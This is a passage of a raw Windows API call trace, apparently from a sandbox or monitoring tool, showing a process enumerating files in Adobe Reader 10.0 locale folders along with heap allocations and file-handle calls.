RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1285df0) returned 1 [0082.282] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1285ef8) returned 1 [0082.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1285ce8) returned 1 [0082.283] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NOR", cAlternateFileName="")) returned 1 [0082.283] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.NOR", cAlternateFileName="")) returned 1 [0082.283] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NOR", cAlternateFileName="")) returned 1 [0082.283] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NOR", cAlternateFileName="")) returned 0 [0082.283] GetLastError () returned 0x12 [0082.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.283] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.283] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0082.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.285] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.285] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.285] NtClose (Handle=0x16c) returned 0x0 [0082.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.286] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.287] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.288] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="")) returned 1 [0082.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125baa8 [0082.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285ce8 [0082.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.NLD", cAlternateFileName="")) returned 1 [0082.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bac8 [0082.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285ef8 [0082.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.291] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.NLD", cAlternateFileName="")) returned 1 [0082.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bae8 [0082.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285df0 [0082.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.292] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.NLD", cAlternateFileName="")) returned 1 [0082.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bb08 [0082.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286210 [0082.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.294] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.NLD", cAlternateFileName="")) returned 1 [0082.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bb28 [0082.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286318 [0082.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.295] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.NLD", cAlternateFileName="")) returned 1 [0082.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bb48 [0082.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286420 [0082.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6e40) returned 0x12a1af8 [0082.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129acf0) returned 1 [0082.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.297] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.NLD", cAlternateFileName="")) returned 1 [0082.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bb68 [0082.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286528 [0082.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.299] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.NLD", cAlternateFileName="")) returned 1 [0082.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bb88 [0082.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286630 [0082.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.NLD", cAlternateFileName="")) returned 1 [0082.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bba8 [0082.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286738 [0082.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.302] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.NLD", cAlternateFileName="")) returned 1 [0082.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bbc8 [0082.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286840 [0082.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.303] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.NLD", cAlternateFileName="")) returned 1 [0082.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bbe8 [0082.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286948 [0082.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.305] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.NLD", cAlternateFileName="")) returned 1 [0082.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bc08 [0082.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286a50 [0082.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.306] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.NLD", cAlternateFileName="")) returned 1 [0082.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bc28 [0082.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286b58 [0082.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.308] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.NLD", cAlternateFileName="")) returned 1 [0082.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bc48 [0082.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286c60 [0082.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.309] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x84200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.NLD", cAlternateFileName="")) returned 1 [0082.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.310] 